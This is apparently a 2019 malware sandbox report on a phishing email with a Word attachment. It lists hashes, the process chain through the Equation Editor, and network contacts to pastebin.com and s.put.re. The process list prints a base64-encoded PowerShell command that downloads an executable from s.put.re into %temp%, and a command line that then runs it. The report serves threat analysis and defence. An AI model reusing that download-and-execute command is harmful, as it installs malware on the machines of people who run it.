File name: | Электронная пошта_ Запыт цэн.doc.eml |
Full analysis: | https://app.any.run/tasks/7a3bbe9a-376e-47e3-b431-24abb86002c8 |
Verdict: | Malicious activity |
Analysis date: | June 12, 2019, 08:34:18 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | message/rfc822 |
File info: | SMTP mail, UTF-8 Unicode text, with CRLF line terminators |
MD5: | 01A714D2919D974FA61D6E94591C232E |
SHA1: | AF41005EC58318CF55FE53278079DA4FA6DA56C2 |
SHA256: | 3B98FA32BADD0485AA84875719C5624326CD2EE03B9D39AB298F0E1E03B0669E |
SSDEEP: | 96:LTIFJVRr7N1jS7Bw8W/TSTSKL7GE77dmVSf/ju03tRf8A3GxV6I:vIrN1jeWGuKL7Z77dmVu4N6I |
.eml | | | E-Mail message (Var. 1) (100) |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3676 | "C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\Электронная пошта_ Запыт цэн.doc.eml" | C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
3156 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3716 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\0C361C8F\Untitled attachment 00001.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
676 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3536 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
1140 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AcwAuAHAAdQB0AC4AcgBlAC8AQgBoAGYAdQBEAG0AOABnAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABiAGEAawBkAHIAYQB3AC4AZQB4AGUAIgApACkAOwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EQNEDT32.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1004 | cmd /c %temp%\bakdraw.exe | C:\Windows\system32\cmd.exe | — | wmiprvse.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3676 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVREDD8.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3676 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\0C361C8F\Untitled attachment 00001 (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3676 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\OICE_7F776B77-3211-470F-BA97-3CBFCE65E932.0\991CB51C.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3716 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR214B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3716 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_0FD60AA2-585B-44B1-8992-EE7BBB7D3D18.0\3EF33FB7.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
1140 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\02PRQUNJGTASL6I2BVJE.temp | — | |
MD5:— | SHA256:— | |||
3676 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:87AECE502D59482ACA05474AC85375ED | SHA256:0C7B5306DE96417B633D661E39A01B85F99107ECE1FC6ECDABAF7AABC02BA32F | |||
3676 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\0C361C8F\Untitled attachment 00001.doc | text | |
MD5:22E2A56DDA1043B5B01AF2D824A2FB1D | SHA256:0BDDC023F2C6C6BEFA1D12B1B3EAA86CAA6119FD7D234D01F95BC72CC56A5EB9 | |||
3676 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\0C361C8F\Untitled attachment 00001 (2).doc | text | |
MD5:22E2A56DDA1043B5B01AF2D824A2FB1D | SHA256:0BDDC023F2C6C6BEFA1D12B1B3EAA86CAA6119FD7D234D01F95BC72CC56A5EB9 | |||
3676 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\OICE_7F776B77-3211-470F-BA97-3CBFCE65E932.0\991CB51C.doc | text | |
MD5:22E2A56DDA1043B5B01AF2D824A2FB1D | SHA256:0BDDC023F2C6C6BEFA1D12B1B3EAA86CAA6119FD7D234D01F95BC72CC56A5EB9 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3676 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3676 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
3536 | EQNEDT32.EXE | 104.20.209.21:443 | pastebin.com | Cloudflare Inc | US | shared |
1140 | powershell.exe | 104.27.142.252:443 | s.put.re | Cloudflare Inc | US | shared |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
pastebin.com |
| shared |
s.put.re |
| suspicious |